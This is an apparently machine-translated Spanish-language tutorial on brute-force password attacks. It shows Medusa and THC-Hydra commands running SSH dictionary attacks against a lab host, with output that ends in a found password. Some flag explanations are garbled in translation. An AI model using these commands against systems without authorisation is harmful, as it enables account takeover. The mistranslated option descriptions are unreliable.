n cryptography, it is called brute force attack how to recover a clue probando todas las combinaciones posibles hasta encontrar aquella que permite el acceso.
In other words, it defines the procedure by which, based on knowledge of the encryption algorithm used and a pair clear text/ciphertext, the encryption (respectively, decryption) of one of the members of the pair is carried out with each of the possible key combinations, until the other member of the pair is obtained. The effort required for the search to be successful with probability better than even will be 2n − 1 operaciones, donde n is the length of the key (also known as the espacio de claves).
Well, we are going to try several programs to carry out this little tutorial.
Jellyfish
Medusa is a very simple brute force audit application that allows various protocols to attack (AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NetWare NCP, NNTP, PcAnywhere, POP3, PostgreSQL, REXEC, RLOGIN, RSH, SMBNT, SMTP-AUTH, SMTP-VRFY, SNMP, SSHv2, Subversion (SVN), Telnet, VMware Authentication Daemon (vmauthd), VNC, Generic, Wrapper, Web Form)
Command:
medusa -h <DIRECCION_IP> -u <Usuario> -P <Diccionario_PASS> -M sshExplanation:
-h: we indicate the host to attack, if we put -H indicamos un fichero el cual se almacenaran todos los hosts que vamos atacar
-or: We indicate the username we want to attack. -U we indicate the dictionary where the list of users to attack will be stored.
-p: Indicamos el password que vamos a probar. -P indicamos el diccionario donde se almacenaran la lista de password para atacar.
-M: We indicate the module for the protocol that we are interested in attacking.
Example:
medusa -h 192.168.1.101 -u operador -P pass -M ssh
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
ACCOUNT CHECK: [ssh] Host: 192.168.1.101 (1 of 1, 0 complete) User: operador (1 of 1, 0 complete) Password: a (1 of 9 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.101 (1 of 1, 0 complete) User: operador (1 of 1, 0 complete) Password: e (2 of 9 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.101 (1 of 1, 0 complete) User: operador (1 of 1, 0 complete) Password: i (3 of 9 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.101 (1 of 1, 0 complete) User: operador (1 of 1, 0 complete) Password: o (4 of 9 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.101 (1 of 1, 0 complete) User: operador (1 of 1, 0 complete) Password: u (5 of 9 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.101 (1 of 1, 0 complete) User: operador (1 of 1, 0 complete) Password: aaaaaaa (6 of 9 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.101 (1 of 1, 0 complete) User: operador (1 of 1, 0 complete) Password: asdddddddddddd (7 of 9 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.101 (1 of 1, 0 complete) User: operador (1 of 1, 0 complete) Password: xxxxxxxxxxxxxxxxxx (8 of 9 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.101 (1 of 1, 0 complete) User: operador (1 of 1, 0 complete) Password: operador (9 of 9 complete)
ACCOUNT FOUND: [ssh] Host: 192.168.1.101 User: operador Password: operador [SUCCESS]THC-HYDRA
Hydra is a brute force cracker that supports numerous protocols to attack. It includes easy-to-add modules, in addition to that, it is flexible and very fast. Version 6 has been tested to compile cleanly on Linux, Windows/Cygwin, Solaris 11, FreeBSD 8.1 and OSX.
Currently this tool supports: AFP, CVS, Firebird, FTP, HTTP, HTTP Form, HTTP Proxy, ICQ, IRC, IMAP, LDAP, MS-SQL, MySQL, NCP, NNTP, Oracle, PC-NFS, POP3, pcAnywhere(Native Authentication), PostgreSQL, REXEC, RDP, RLOGIN, RSH, SAP R/3, SIP, SMB, SMTP, SMTP User Enum, SNMP(V1), SOCKS, SSH, Subversion(SVN), TeamSpeak, Telnet, VNC, VMWare Auth Daemon, XMPP)
Command:
hydra 192.168.1.101 ssh -s <Puerto> -l <Usuario> -P <Diccionario_PASS> -t <Tasks>-s: Port
-l: We indicate the username we want to attack. -L we indicate the dictionary where the list of users to attack will be stored.
-p: We indicate the password that we are going to test. -P We indicate the dictionary where the list of passwords to attack will be stored.
Example:
hydra 192.168.1.101 ssh -s 22 -l operador -P pass -t 36
Hydra v7.1 (c)2011 by van Hauser/THC & David Maciejak – for legal purposes onlyHydra (http://www.thc.org/thc-hydra) starting at 2011-11-27 21:33:17
WARNING: Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort…
[DATA] 9 tasks, 1 server, 9 login tries (l:1/p:9), ~1 try per task
[DATA] attacking service ssh on port 22
[22][ssh] host: 192.168.1.101 login: operador password: operador
[STATUS] attack finished for 192.168.1.101 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2011-11-27 21:33:34Greetings, rokitoh!
Comments